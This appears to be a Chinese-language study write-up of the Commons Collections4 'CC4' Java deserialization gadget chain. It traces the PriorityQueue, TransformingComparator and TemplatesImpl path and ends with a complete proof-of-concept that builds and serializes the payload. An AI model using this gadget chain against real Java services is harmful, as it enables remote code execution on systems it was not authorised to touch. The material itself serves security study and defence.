依赖
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
代码审计 | 原理分析
思路是CC2和CC3的结合,这里只梳理流程
- TrAXFilter构造器传入TemplatesImpl会调用newTransformer()
- InstantiateTransformer.transform()调用指定的类构造器
- TransformingComparator.compare()调用this.transformer.transform()
- PriorityQueue反序列化调用comparator.compare()
后边条链直接拿CC3的使用
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> te = templates.getClass();
Field namefield = te.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"1");
Field bytecodesield = te.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
byte[][] codes={code};
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
//避免被readObject修改
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// chainedTransformer.transform(1);
使用TransformingComparator
类中的compare方法构造链条
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
构造完成之后进行序列化反序列化操作,运行,发现什么都没发生
实际上这里我们最后要走到PriorityQueue
中的readObject
方法,调用heapify()
方法
我们打个断点进行查看
queue
是transient
修饰的
这里对queue
数组中的元素进行遍历
进入heapify()
方法中查看。
private void heapify() {
for (int i = (size >>> 1) - 1; i >= 0; i--)
siftDown(i, (E) queue[i]);
}
我们要进入siftDown
方法中
但是要满足循环条件
size >>> 1
<< 左移运算符,size << 1,相当于size乘以2
右移运算符,size >> 1,相当于size除以2
无符号右移,忽略符号位,空位都以0补齐
这里的话只要size>=2的情况下,才能有结果
所以我们需要将size的值设置为2,我们直接在priorityQueue
中add 2个东西就好了
priorityQueue.add(1);
priorityQueue.add(2);
运行代码,报错了
报错是因为
priorityQueue.add(2);
这里我们跟进add
一下
public boolean add(E e) {
return offer(e);
}
继续跟进offer
方法
跟进siftUp
方法中
private void siftUp(int k, E x) {
if (comparator != null)
siftUpUsingComparator(k, x);
else
siftUpComparable(k, x);
}
@SuppressWarnings("unchecked")
private void siftUpComparable(int k, E x) {
Comparable<? super E> key = (Comparable<? super E>) x;
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (key.compareTo((E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = key;
}
@SuppressWarnings("unchecked")
private void siftUpUsingComparator(int k, E x) {
while (k > 0) {
int parent = (k - 1) >>> 1;
Object e = queue[parent];
if (comparator.compare(x, (E) e) >= 0)
break;
queue[k] = e;
k = parent;
}
queue[k] = x;
}
实际上在这里就调用了comparator
方法,将资源消耗掉了,我们还是使用Urldns链中的思路
在它传进去之前将他的值改了
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
在他add
完之后就值改回
Class c = transformingComparator.getClass();
Field transformerfield = c.getDeclaredField("transformer");
transformerfield.setAccessible(true);
transformerfield.set(transformingComparator,chainedTransformer);
POC
package ysoserial.ay;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.xalan.transformer.TrAXFilter;
import org.apache.xalan.xsltc.trax.TemplatesImpl;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
/**
* @ClassName TestCC4
* @Author aY
* @Date 2023/3/10 12:17
* @Description
*/
public class TestCC4 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class te = templates.getClass();
Field namefield = te.getDeclaredField("_name");
namefield.setAccessible(true);
namefield.set(templates,"aaa");
Field bytecodesield = te.getDeclaredField("_bytecodes");
bytecodesield.setAccessible(true);
byte[] code= Files.readAllBytes(Paths.get("D://tmp/Test1.class"));
byte[][] codes={code};
bytecodesield.set(templates,codes);//到了代码执行的地方了,需要将执行的命令传进去
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
//避免被readObject修改
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
// chainedTransformer.transform(1);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
priorityQueue.add(1);
priorityQueue.add(2);
Class c = transformingComparator.getClass();
Field transformerfield = c.getDeclaredField("transformer");
transformerfield.setAccessible(true);
transformerfield.set(transformingComparator,chainedTransformer);
serialize(priorityQueue);
unserialize("ser.bin");
}
//封装serialize
public static void serialize(Object object) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(object);
}
//封装unserialize
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}